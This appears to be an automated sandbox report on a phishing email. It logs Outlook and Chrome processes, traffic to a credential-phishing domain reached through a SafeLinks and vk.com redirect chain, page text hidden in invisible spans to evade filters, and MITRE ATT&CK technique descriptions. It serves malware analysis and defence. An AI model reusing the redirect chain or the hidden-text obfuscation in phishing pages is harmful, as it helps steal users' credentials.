2024-04-24 13:44:36 UTC	1369	IN	Data Raw: 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 38 3c 2f 73 70 61 6e 3e 2c 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 38 3c 2f 73 70 61 6e 3e 20 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d Data Ascii: ize: 0.02px;">8</span>,<span style="display: inline; color: rgba(26, 125, 117, 0); max-width: 0.01px; max-height: 0.03px; font-size: 0.02px;">8</span> <span style="display: inline; color: rgba(26, 125, 117, 0); max-width: 0.01px; max-height: 0.03px; font-
2024-04-24 13:44:36 UTC	1369	IN	Data Raw: 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 38 3c 2f 73 70 61 6e 3e 6e 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 38 3c 2f 73 70 61 6e 3e 61 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 Data Ascii: dth: 0.01px; max-height: 0.03px; font-size: 0.02px;">8</span>n<span style="display: inline; color: rgba(26, 125, 117, 0); max-width: 0.01px; max-height: 0.03px; font-size: 0.02px;">8</span>a<span style="display: inline; color: rgba(26, 125, 117, 0); max-w

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.17	49811	104.21.50.148	443	6776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 13:44:36 UTC	1195	OUT	GET /x/8abb7bfd970b4f43108624cbc2c64b5066290cc3b78c2 HTTP/1.1 Host: mailvlk.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.149" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mailvlk.com/024407056a4bd44a76e3518653fce74f66290c7892bf7LOG024407056a4bd44a76e3518653fce74f66290c7892bf8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cf_clearance=ogRQcL5HDsanB0cMvgikkzpkcDxJCT9lPmgrHktvP88-1713966186-1.0.1.1-68HMcvgP3WpF8B9DwzKfi36AkCclYUDJHiLKvHVt_KOH346wtfyPHAxyADc1XHFWpxuUgIR8NZOubSJA35rcDA; PHPSESSID=431c9121354a61f8d08e0d9b71dad828
2024-04-24 13:44:36 UTC	740	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 13:44:36 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close cache-control: public, max-age=604800 expires: Wed, 01 May 2024 13:44:36 GMT last-modified: Tue, 23 Apr 2024 16:46:58 GMT vary: Accept-Encoding x-turbo-charged-by: LiteSpeed CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=W7eGFWVCgyHZWhh45T9DfNbgoeMsC5X6LmSNxEbq4Uumyo0xShZF0h1S%2BEiuFunXLrkaJ5fUo0sNHphIeAbMUSfwxEEAH4rva0i6L8U%2FA5UPn%2BXBWw1a4hk02MNnMQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8796876c592f69bb-LAX alt-svc: h3=":443"; ma=86400
2024-04-24 13:44:36 UTC	629	IN	Data Raw: 37 34 38 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 39 32 30 22 20 68 65 69 67 68 74 3d 22 31 30 38 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 3c 67 20 6f 70 61 63 69 74 79 3d 22 2e 32 22 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 45 29 22 3e 3c 70 61 74 68 20 64 3d 22 4d 31 34 36 36 2e 34 20 31 37 39 35 2e 32 63 39 35 30 2e 33 37 20 30 20 31 37 32 30 2e 38 2d 36 32 37 2e 35 32 20 31 37 32 30 2e 38 2d 31 34 30 31 2e 36 53 32 34 31 36 2e 37 37 2d 31 30 30 38 20 31 34 36 36 2e 34 2d 31 30 30 38 2d 32 35 34 2e 34 2d 33 38 30 2e 34 38 32 2d 32 35 34 2e 34 20 33 39 33 2e 36 73 37 37 30 2e 34 32 38 20 31 34 30 31 2e 36 20 31 37 32 30 2e 38 20 31 Data Ascii: 748<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1
2024-04-24 13:44:36 UTC	1242	IN	Data Raw: 35 35 2e 35 39 35 20 31 32 34 39 2e 38 2d 31 30 31 37 2e 36 53 39 35 36 2e 30 34 36 2d 38 31 39 2e 36 20 32 36 35 2e 38 2d 38 31 39 2e 36 2d 39 38 34 2d 33 36 34 2e 30 30 35 2d 39 38 34 20 31 39 38 2d 34 32 34 2e 34 34 35 20 31 32 31 35 2e 36 20 32 36 35 2e 38 20 31 32 31 35 2e 36 7a 22 20 66 69 6c 6c 3d 22 75 72 6c 28 23 44 29 22 2f 3e 3c 2f 67 3e 3c 64 65 66 73 3e 3c 72 61 64 69 61 6c 47 72 61 64 69 65 6e 74 20 69 64 3d 22 41 22 20 63 78 3d 22 30 22 20 63 79 3d 22 30 22 20 72 3d 22 31 22 20 67 72 61 64 69 65 6e 74 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 20 67 72 61 64 69 65 6e 74 54 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 31 34 36 36 2e 34 20 33 39 33 2e 36 29 20 72 6f 74 61 74 65 28 39 30 29 20 73 63 61 6c Data Ascii: 55.595 1249.8-1017.6S956.046-819.6 265.8-819.6-984-364.005-984 198-424.445 1215.6 265.8 1215.6z" fill="url(#D)"/></g><defs><radialGradient id="A" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1466.4 393.6) rotate(90) scal
2024-04-24 13:44:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.17	49812	104.21.50.148	443	6776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 13:44:37 UTC	598	OUT	GET /o/8abb7bfd970b4f43108624cbc2c64b5066290cc3b78df HTTP/1.1 Host: mailvlk.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cf_clearance=ogRQcL5HDsanB0cMvgikkzpkcDxJCT9lPmgrHktvP88-1713966186-1.0.1.1-68HMcvgP3WpF8B9DwzKfi36AkCclYUDJHiLKvHVt_KOH346wtfyPHAxyADc1XHFWpxuUgIR8NZOubSJA35rcDA; PHPSESSID=431c9121354a61f8d08e0d9b71dad828
2024-04-24 13:44:37 UTC	738	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 13:44:37 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close cache-control: public, max-age=604800 expires: Wed, 01 May 2024 13:44:37 GMT last-modified: Tue, 23 Apr 2024 16:46:58 GMT vary: Accept-Encoding x-turbo-charged-by: LiteSpeed CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FQRrGie0q5OQmipHHAbtOZ8emYjE4wgoULnfd1yBiLbFp2CEYl8R5iP33DikGCX0LGkQHsvXcIjSdLmBM4NGWB1IuSBzDxuAsZOjD%2FYabSKd68n06NE6hWISO8Hahg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87968772989508dc-LAX alt-svc: h3=":443"; ma=86400
2024-04-24 13:44:37 UTC	631	IN	Data Raw: 65 34 33 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 30 38 22 20 68 65 69 67 68 74 3d 22 32 34 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 30 38 20 32 34 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 70 61 74 68 20 64 3d 22 4d 34 34 2e 38 33 36 2c 34 2e 36 56 31 38 2e 34 68 2d 32 2e 34 56 37 2e 35 38 33 48 34 32 2e 34 4c 33 38 2e 31 31 39 2c 31 38 2e 34 48 33 36 2e 35 33 31 4c 33 32 2e 31 34 32 2c 37 2e 35 38 33 68 2d 2e 30 32 39 56 31 38 2e 34 48 32 39 2e 39 56 34 2e 36 68 33 2e 34 33 36 4c 33 37 2e 33 2c 31 34 2e 38 33 68 2e 30 35 38 4c 34 31 2e 35 34 35 2c 34 2e 36 5a 6d 32 2c 31 2e 30 34 39 61 31 2e 32 36 38 2c 31 2e Data Ascii: e43<svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.
2024-04-24 13:44:37 UTC	1369	IN	Data Raw: 39 31 38 2d 34 2e 39 30 38 2c 35 2e 36 34 31 2c 35 2e 36 34 31 2c 30 2c 30 2c 31 2c 31 2e 34 2d 33 2e 39 33 32 2c 35 2e 30 35 35 2c 35 2e 30 35 35 2c 30 2c 30 2c 31 2c 33 2e 39 35 35 2d 31 2e 35 34 35 2c 35 2e 34 31 34 2c 35 2e 34 31 34 2c 30 2c 30 2c 31 2c 31 2e 33 32 34 2e 31 36 38 2c 34 2e 34 33 31 2c 34 2e 34 33 31 2c 30 2c 30 2c 31 2c 31 2e 30 36 33 2e 33 39 76 32 2e 32 33 33 61 34 2e 37 36 33 2c 34 2e 37 36 33 2c 30 2c 30 2c 30 2d 31 2e 31 2d 2e 36 31 31 2c 33 2e 31 38 34 2c 33 2e 31 38 34 2c 30 2c 30 2c 30 2d 31 2e 31 35 2d 2e 32 31 37 2c 32 2e 39 31 39 2c 32 2e 39 31 39 2c 30 2c 30 2c 30 2d 32 2e 32 32 33 2e 39 2c 33 2e 33 37 2c 33 2e 33 37 2c 30 2c 30 2c 30 2d 2e 38 34 37 2c 32 2e 34 31 36 2c 33 2e 32 31 36 2c 33 2e 32 31 36 2c 30 2c 30 2c 30 2c Data Ascii: 918-4.908,5.641,5.641,0,0,1,1.4-3.932,5.055,5.055,0,0,1,3.955-1.545,5.414,5.414,0,0,1,1.324.168,4.431,4.431,0,0,1,1.063.39v2.233a4.763,4.763,0,0,0-1.1-.611,3.184,3.184,0,0,0-1.15-.217,2.919,2.919,0,0,0-2.223.9,3.37,3.37,0,0,0-.847,2.416,3.216,3.216,0,0,0,
2024-04-24 13:44:37 UTC	1369	IN	Data Raw: 2e 30 32 39 2c 30 2c 30 2c 30 2d 2e 33 39 2d 2e 38 31 33 2c 35 2e 37 36 38 2c 35 2e 37 36 38 2c 30 2c 30 2c 30 2d 31 2e 34 37 37 2d 2e 37 36 35 2c 34 2e 35 36 34 2c 34 2e 35 36 34 2c 30 2c 30 2c 31 2d 31 2e 38 32 39 2d 31 2e 32 31 33 2c 32 2e 36 35 35 2c 32 2e 36 35 35 2c 30 2c 30 2c 31 2d 2e 35 33 39 2d 31 2e 37 31 33 2c 32 2e 37 30 36 2c 32 2e 37 30 36 2c 30 2c 30 2c 31 2c 31 2e 30 36 33 2d 32 2e 32 41 34 2e 32 34 33 2c 34 2e 32 34 33 2c 30 2c 30 2c 31 2c 38 31 2e 35 2c 38 2e 32 35 36 61 36 2e 36 36 33 2c 36 2e 36 36 33 2c 30 2c 30 2c 31 2c 31 2e 31 36 34 2e 31 31 35 2c 35 2e 31 36 31 2c 35 2e 31 36 31 2c 30 2c 30 2c 31 2c 31 2e 30 37 38 2e 33 76 32 2e 32 31 34 61 34 2e 39 37 34 2c 34 2e 39 37 34 2c 30 2c 30 2c 30 2d 31 2e 30 37 38 2d 2e 35 32 39 2c 33 Data Ascii: .029,0,0,0-.39-.813,5.768,5.768,0,0,0-1.477-.765,4.564,4.564,0,0,1-1.829-1.213,2.655,2.655,0,0,1-.539-1.713,2.706,2.706,0,0,1,1.063-2.2A4.243,4.243,0,0,1,81.5,8.256a6.663,6.663,0,0,1,1.164.115,5.161,5.161,0,0,1,1.078.3v2.214a4.974,4.974,0,0,0-1.078-.529,3
2024-04-24 13:44:37 UTC	289	IN	Data Raw: 2d 32 2e 33 36 33 5a 22 20 66 69 6c 6c 3d 22 23 37 33 37 33 37 33 22 2f 3e 3c 72 65 63 74 20 77 69 64 74 68 3d 22 31 30 2e 39 33 31 22 20 68 65 69 67 68 74 3d 22 31 30 2e 39 33 31 22 20 66 69 6c 6c 3d 22 23 66 32 35 30 32 32 22 2f 3e 3c 72 65 63 74 20 78 3d 22 31 32 2e 30 36 39 22 20 77 69 64 74 68 3d 22 31 30 2e 39 33 31 22 20 68 65 69 67 68 74 3d 22 31 30 2e 39 33 31 22 20 66 69 6c 6c 3d 22 23 37 66 62 61 30 30 22 2f 3e 3c 72 65 63 74 20 79 3d 22 31 32 2e 30 36 39 22 20 77 69 64 74 68 3d 22 31 30 2e 39 33 31 22 20 68 65 69 67 68 74 3d 22 31 30 2e 39 33 31 22 20 66 69 6c 6c 3d 22 23 30 30 61 34 65 66 22 2f 3e 3c 72 65 63 74 20 78 3d 22 31 32 2e 30 36 39 22 20 79 3d 22 31 32 2e 30 36 39 22 20 77 69 64 74 68 3d 22 31 30 2e 39 33 31 22 20 68 65 69 67 68 74 Data Ascii: -2.363Z" fill="#737373"/><rect width="10.931" height="10.931" fill="#f25022"/><rect x="12.069" width="10.931" height="10.931" fill="#7fba00"/><rect y="12.069" width="10.931" height="10.931" fill="#00a4ef"/><rect x="12.069" y="12.069" width="10.931" height
2024-04-24 13:44:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.17	49813	104.21.50.148	443	6776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 13:44:37 UTC	598	OUT	GET /x/8abb7bfd970b4f43108624cbc2c64b5066290cc3b78c2 HTTP/1.1 Host: mailvlk.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cf_clearance=ogRQcL5HDsanB0cMvgikkzpkcDxJCT9lPmgrHktvP88-1713966186-1.0.1.1-68HMcvgP3WpF8B9DwzKfi36AkCclYUDJHiLKvHVt_KOH346wtfyPHAxyADc1XHFWpxuUgIR8NZOubSJA35rcDA; PHPSESSID=431c9121354a61f8d08e0d9b71dad828
2024-04-24 13:44:37 UTC	740	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 13:44:37 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close cache-control: public, max-age=604800 expires: Wed, 01 May 2024 13:44:37 GMT last-modified: Tue, 23 Apr 2024 16:46:58 GMT vary: Accept-Encoding x-turbo-charged-by: LiteSpeed CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SgKmsUrbP43p5PUix%2B9qGw9BTxQeR38fAZuhy9tQVxk4usgS%2BEX4OklbnWwH4COtIjRM8e4Im9aFtgsgRfarlJHa6rZvf0z3WeEJjnNZf8g3gz8%2Bg1TBMeXkHRDO7w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87968772be6a7ec3-LAX alt-svc: h3=":443"; ma=86400
2024-04-24 13:44:37 UTC	629	IN	Data Raw: 37 34 38 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 39 32 30 22 20 68 65 69 67 68 74 3d 22 31 30 38 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 3c 67 20 6f 70 61 63 69 74 79 3d 22 2e 32 22 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 45 29 22 3e 3c 70 61 74 68 20 64 3d 22 4d 31 34 36 36 2e 34 20 31 37 39 35 2e 32 63 39 35 30 2e 33 37 20 30 20 31 37 32 30 2e 38 2d 36 32 37 2e 35 32 20 31 37 32 30 2e 38 2d 31 34 30 31 2e 36 53 32 34 31 36 2e 37 37 2d 31 30 30 38 20 31 34 36 36 2e 34 2d 31 30 30 38 2d 32 35 34 2e 34 2d 33 38 30 2e 34 38 32 2d 32 35 34 2e 34 20 33 39 33 2e 36 73 37 37 30 2e 34 32 38 20 31 34 30 31 2e 36 20 31 37 32 30 2e 38 20 31 Data Ascii: 748<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1
2024-04-24 13:44:37 UTC	1242	IN	Data Raw: 35 35 2e 35 39 35 20 31 32 34 39 2e 38 2d 31 30 31 37 2e 36 53 39 35 36 2e 30 34 36 2d 38 31 39 2e 36 20 32 36 35 2e 38 2d 38 31 39 2e 36 2d 39 38 34 2d 33 36 34 2e 30 30 35 2d 39 38 34 20 31 39 38 2d 34 32 34 2e 34 34 35 20 31 32 31 35 2e 36 20 32 36 35 2e 38 20 31 32 31 35 2e 36 7a 22 20 66 69 6c 6c 3d 22 75 72 6c 28 23 44 29 22 2f 3e 3c 2f 67 3e 3c 64 65 66 73 3e 3c 72 61 64 69 61 6c 47 72 61 64 69 65 6e 74 20 69 64 3d 22 41 22 20 63 78 3d 22 30 22 20 63 79 3d 22 30 22 20 72 3d 22 31 22 20 67 72 61 64 69 65 6e 74 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 20 67 72 61 64 69 65 6e 74 54 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 31 34 36 36 2e 34 20 33 39 33 2e 36 29 20 72 6f 74 61 74 65 28 39 30 29 20 73 63 61 6c Data Ascii: 55.595 1249.8-1017.6S956.046-819.6 265.8-819.6-984-364.005-984 198-424.445 1215.6 265.8 1215.6z" fill="url(#D)"/></g><defs><radialGradient id="A" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1466.4 393.6) rotate(90) scal
2024-04-24 13:44:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	15:42:33
Start date:	24/04/2024
Path:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" /f "C:\Users\user\Desktop\FW_ FHAS Inc_ - Private and Confidential.msg"
Imagebase:	0x9e0000
File size:	34'446'744 bytes
MD5 hash:	91A5292942864110ED734005B7E005C0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	15:42:34
Start date:	24/04/2024
Path:	C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe" "AB733506-5643-415B-A822-6CA743C451B8" "60335182-0ED6-44FC-AF34-5EA391EA0DB6" "3932" "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" "WordCombinedFloatieLreOnline.onnx"
Imagebase:	0x7ff6a39c0000
File size:	710'048 bytes
MD5 hash:	EC652BEDD90E089D9406AFED89A8A8BD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	15:42:43
Start date:	24/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://nam10.safelinks.protection.outlook.com/?url=http%3A%2F%2Fvk.com%2Faway.php%3Fto%3Dhttps%3A%2F%2Fassets-usa.mkt.dynamics.com%2F97791573-a900-ef11-9f85-00224828202e%2Fdigitalassets%2Fstandaloneforms%2Fbeb26e16-c500-ef11-a1fd-6045bdd3b636&data=05%7C02%7Clanderson%40american-pcs.com%7C12a2a023526d4f13ec3008dc63d6fc83%7C48af3ff71bb24e8b9762c9e61a8503a9%7C0%7C0%7C638495022247675574%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D%7C40000%7C%7C%7C&sdata=wmZ9CPEGbqFv%2B8gk%2BkjZ7S5r0b%2B7AC1Ezstrt9P7SuM%3D&reserved=0
Imagebase:	0x7ff7d6f10000
File size:	3'242'272 bytes
MD5 hash:	83395EAB5B03DEA9720F8D7AC0D15CAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	15:42:44
Start date:	24/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2228 --field-trial-handle=2032,i,8312414958916213357,7330150477542557016,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff7d6f10000
File size:	3'242'272 bytes
MD5 hash:	83395EAB5B03DEA9720F8D7AC0D15CAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
